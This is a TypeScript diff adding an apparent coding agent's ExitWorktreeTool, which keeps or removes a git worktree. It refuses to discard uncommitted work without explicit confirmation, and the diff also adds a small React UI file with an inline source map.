+    // created by `git worktree add`, or by EnterWorktree in a previous
+    // session, do not populate it. This is the sole entry gate — everything
+    // past this point operates on a path EnterWorktree created.
+    const session = getCurrentWorktreeSession()
+    if (!session) {
+      return {
+        result: false,
+        message:
+          'No-op: there is no active EnterWorktree session to exit. This tool only operates on worktrees created by EnterWorktree in the current session — it will not touch worktrees created manually or in a previous session. No filesystem changes were made.',
+        errorCode: 1,
+      }
+    }
+
+    if (input.action === 'remove' && !input.discard_changes) {
+      const summary = await countWorktreeChanges(
+        session.worktreePath,
+        session.originalHeadCommit,
+      )
+      if (summary === null) {
+        return {
+          result: false,
+          message: `Could not verify worktree state at ${session.worktreePath}. Refusing to remove without explicit confirmation. Re-invoke with discard_changes: true to proceed — or use action: "keep" to preserve the worktree.`,
+          errorCode: 3,
+        }
+      }
+      const { changedFiles, commits } = summary
+      if (changedFiles > 0 || commits > 0) {
+        const parts: string[] = []
+        if (changedFiles > 0) {
+          parts.push(
+            `${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
+          )
+        }
+        if (commits > 0) {
+          parts.push(
+            `${commits} ${commits === 1 ? 'commit' : 'commits'} on ${session.worktreeBranch ?? 'the worktree branch'}`,
+          )
+        }
+        return {
+          result: false,
+          message: `Worktree has ${parts.join(' and ')}. Removing will discard this work permanently. Confirm with the user, then re-invoke with discard_changes: true — or use action: "keep" to preserve the worktree.`,
+          errorCode: 2,
+        }
+      }
+    }
+
+    return { result: true }
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  async call(input) {
+    const session = getCurrentWorktreeSession()
+    if (!session) {
+      // validateInput guards this, but the session is module-level mutable
+      // state — defend against a race between validation and execution.
+      throw new Error('Not in a worktree session')
+    }
+
+    // Capture before keepWorktree/cleanupWorktree null out currentWorktreeSession.
+    const {
+      originalCwd,
+      worktreePath,
+      worktreeBranch,
+      tmuxSessionName,
+      originalHeadCommit,
+    } = session
+
+    // --worktree startup calls setOriginalCwd(getCwd()) and
+    // setProjectRoot(getCwd()) back-to-back right after setCwd(worktreePath)
+    // (setup.ts:235/239), so both hold the same realpath'd value and BashTool
+    // cd never touches either. Mid-session EnterWorktreeTool sets originalCwd
+    // but NOT projectRoot. (Can't use getCwd() — BashTool mutates it on every
+    // cd. Can't use session.worktreePath — it's join()'d, not realpath'd.)
+    const projectRootIsWorktree = getProjectRoot() === getOriginalCwd()
+
+    // Re-count at execution time for accurate analytics and output — the
+    // worktree state at validateInput time may not match now. Null (git
+    // failure) falls back to 0/0; safety gating already happened in
+    // validateInput, so this only affects analytics + messaging.
+    const { changedFiles, commits } = (await countWorktreeChanges(
+      worktreePath,
+      originalHeadCommit,
+    )) ?? { changedFiles: 0, commits: 0 }
+
+    if (input.action === 'keep') {
+      await keepWorktree()
+      restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
+
+      logEvent('tengu_worktree_kept', {
+        mid_session: true,
+        commits,
+        changed_files: changedFiles,
+      })
+
+      const tmuxNote = tmuxSessionName
+        ? ` Tmux session ${tmuxSessionName} is still running; reattach with: tmux attach -t ${tmuxSessionName}`
+        : ''
+      return {
+        data: {
+          action: 'keep' as const,
+          originalCwd,
+          worktreePath,
+          worktreeBranch,
+          tmuxSessionName,
+          message: `Exited worktree. Your work is preserved at ${worktreePath}${worktreeBranch ? ` on branch ${worktreeBranch}` : ''}. Session is now back in ${originalCwd}.${tmuxNote}`,
+        },
+      }
+    }
+
+    // action === 'remove'
+    if (tmuxSessionName) {
+      await killTmuxSession(tmuxSessionName)
+    }
+    await cleanupWorktree()
+    restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
+
+    logEvent('tengu_worktree_removed', {
+      mid_session: true,
+      commits,
+      changed_files: changedFiles,
+    })
+
+    const discardParts: string[] = []
+    if (commits > 0) {
+      discardParts.push(`${commits} ${commits === 1 ? 'commit' : 'commits'}`)
+    }
+    if (changedFiles > 0) {
+      discardParts.push(
+        `${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
+      )
+    }
+    const discardNote =
+      discardParts.length > 0 ? ` Discarded ${discardParts.join(' and ')}.` : ''
+    return {
+      data: {
+        action: 'remove' as const,
+        originalCwd,
+        worktreePath,
+        worktreeBranch,
+        discardedFiles: changedFiles,
+        discardedCommits: commits,
+        message: `Exited and removed worktree at ${worktreePath}.${discardNote} Session is now back in ${originalCwd}.`,
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam({ message }, toolUseID) {
+    return {
+      type: 'tool_result',
+      content: message,
+      tool_use_id: toolUseID,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/ExitWorktreeTool/UI.tsx

@@ -0,0 +1,25 @@
+import * as React from 'react';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './ExitWorktreeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return 'Exiting worktree…';
+}
+export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  const actionLabel = output.action === 'keep' ? 'Kept worktree' : 'Removed worktree';
+  return <Box flexDirection="column">
+      <Text>
+        {actionLabel}
+        {output.worktreeBranch ? <>
+            {' '}
+            (branch <Text bold>{output.worktreeBranch}</Text>)
+          </> : null}
+      </Text>
+      <Text dimColor>Returned to {output.originalCwd}</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJhY3Rpb25MYWJlbCIsImFjdGlvbiIsIndvcmt0cmVlQnJhbmNoIiwib3JpZ2luYWxDd2QiXSwic291cmNlcyI6WyJVSS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xQcm9ncmVzc0RhdGEgfSBmcm9tICcuLi8uLi9Ub29sLmpzJ1xuaW1wb3J0IHR5cGUgeyBQcm9ncmVzc01lc3NhZ2UgfSBmcm9tICcuLi8uLi90eXBlcy9tZXNzYWdlLmpzJ1xuaW1wb3J0IHR5cGUgeyBUaGVtZU5hbWUgfSBmcm9tICcuLi8uLi91dGlscy90aGVtZS5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9FeGl0V29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdFeGl0aW5nIHdvcmt0cmVl4oCmJ1xufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UoXG4gIG91dHB1dDogT3V0cHV0LFxuICBfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IFByb2dyZXNzTWVzc2FnZTxUb29sUHJvZ3Jlc3NEYXRhPltdLFxuICBfb3B0aW9uczogeyB0aGVtZTogVGhlbWVOYW1lIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBhY3Rpb25MYWJlbCA9XG4gICAgb3V0cHV0LmFjdGlvbiA9PT0gJ2tlZXAnID8gJ0tlcHQgd29ya3RyZWUnIDogJ1JlbW92ZWQgd29ya3RyZWUnXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICA8VGV4dD5cbiAgICAgICAge2FjdGlvbkxhYmVsfVxuICAgICAgICB7b3V0cHV0Lndvcmt0cmVlQnJhbmNoID8gKFxuICAgICAgICAgIDw+XG4gICAgICAgICAgICB7JyAnfVxuICAgICAgICAgICAgKGJyYW5jaCA8VGV4dCBib2xkPntvdXRwdXQud29ya3RyZWVCcmFuY2h9PC9UZXh0PilcbiAgICAgICAgICA8Lz5cbiAgICAgICAgKSA6IG51bGx9XG4gICAgICA8L1RleHQ+XG4gICAgICA8VGV4dCBkaW1Db2xvcj5SZXR1cm5lZCB0byB7b3V0cHV0Lm9yaWdpbmFsQ3dkfTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHVCQUF1QjtBQUVuRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sbUJBQW1CO0FBQzVCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsTUFBTU0sV0FBVyxHQUNmSixNQUFNLENBQUNLLE1BQU0sS0FBSyxNQUFNLEdBQUcsZUFBZSxHQUFHLGtCQUFrQjtFQUNqRSxPQUNFLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQy9CLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsUUFBUSxDQUFDRCxXQUFXO0FBQ3BCLFFBQVEsQ0FBQ0osTUFBTSxDQUFDTSxjQUFjLEdBQ3BCO0FBQ1YsWUFBWSxDQUFDLEdBQUc7QUFDaEIsb0JBQW9CLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxDQUFDTixNQUFNLENBQUNNLGNBQWMsQ0FBQyxFQUFFLElBQUksQ0FBQztBQUM3RCxVQUFVLEdBQUcsR0FDRCxJQUFJO0FBQ2hCLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsWUFBWSxDQUFDTixNQUFNLENBQUNPLFdBQVcsQ0FBQyxFQUFFLElBQUk7QUFDM0QsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119